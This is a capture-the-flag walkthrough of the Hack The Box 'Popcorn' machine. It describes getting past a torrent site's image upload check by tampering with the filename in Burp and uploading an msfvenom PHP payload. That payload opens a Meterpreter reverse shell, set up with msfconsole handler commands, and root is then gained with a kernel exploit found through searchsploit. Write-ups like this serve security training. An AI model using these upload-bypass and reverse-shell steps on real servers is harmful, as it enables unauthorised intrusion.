(HTB) Popcorn Walkthrough
Name: Popcorn
IP : 10.10.10.6
OS – linux
VM Author: ch4p
Writeup Author: Teck_K2
Writeup Author: Teck_K2
Nmap result
The port 80 is open so we will start enumerating port 80 with Nikto and dirb.
Nikto couldn't find anything interesting but with dirb, we find a new directory called torrent.
So we will go to that directory 10.10.10.6/torrent
Here we can sign up and can upload only (.torrent) file in which we can’t upload any shell.
So we will creat a new .torrent file and upload it, then we have now access to upload a screenshot which can be jpg,jpeg,png and Gif. so let’s go to new terminal and let’s generate our web payload using msfvenom.
After generating the file we will edit it because it is generatied in base64 , So we will go and edit the file, now add <?php in the beginning of (base64 encoding) and ?> in the end.
Now we will change its extension from php to .php;.png
We are doing this because the upload has image file restriction, which only allows image files to be uploaded but the restriction is only in browser not in the server, So what we will do is we will capture our request and change the extension and forward the msg to the server.
So our new file name would be shell.php;.png let’s upload it but we will not get any shell from this file extension because it end in .png so we need a .php file uploaded which is not allowed in the upload as I said above.
So we need to tamper the data which we can do with burp suit or tamper data tool in firefox.
Just search for the “filename = shell.php;.png” and edit it to “shell.php” and forward it ,
and edit it to “shell.php” and forward it.
The file should be uploaded now refresh it and open msfconsole.
# Use exploit/multi/handler
# Set payload php/meterpreter/reverse_tcp
# Set LHOST <IP>
# Set LPORT <4444>
# Run
Now go to the browser and open the screenshot which we uploaded in another tab,
We will get a meterpreter session,
So now we have the access to the user directory and got the user flag but we are restricted to access root directory so we need to do privilege escalation.
we know the kernel version which is 2.6.17-36 which we got from nmap result or you can also check it in meterpreter session which we have.
Now find and exploit which will escalate the privilege and will give us a root access to the machine.
Search in searchsploit if we are lucky we could get any exploit.
I tried all of these/local .c files but no result. After searching a lot I found this
The exploit ID is 15704. Let use try with this exploit.
If you have reverse shell in nc then you can create a new torrent file and upload it, Now you can copy the file from /var/www/torrent/upload to /tmp or if you have the meterpreter session like me then you can just upload directly to the /tmp folder.
Now compile the file and execute it
# gcc (filename.c) –o (filename)
# ./(filename)
Now type (#id) you will see that you have root access, now you can read the flag from /root folder.
~Enjoy hacking and stay NOOB

Comments
Post a Comment